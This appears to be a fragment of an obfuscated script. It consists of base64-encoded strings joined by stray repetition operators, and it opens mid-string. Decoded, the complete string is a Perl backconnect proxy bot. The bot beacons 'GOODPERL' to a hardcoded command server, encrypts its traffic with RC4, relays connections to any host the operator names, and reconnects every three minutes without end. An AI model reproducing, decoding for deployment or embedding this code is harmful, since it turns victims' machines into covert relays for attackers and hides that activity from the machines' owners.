vbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDAnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x 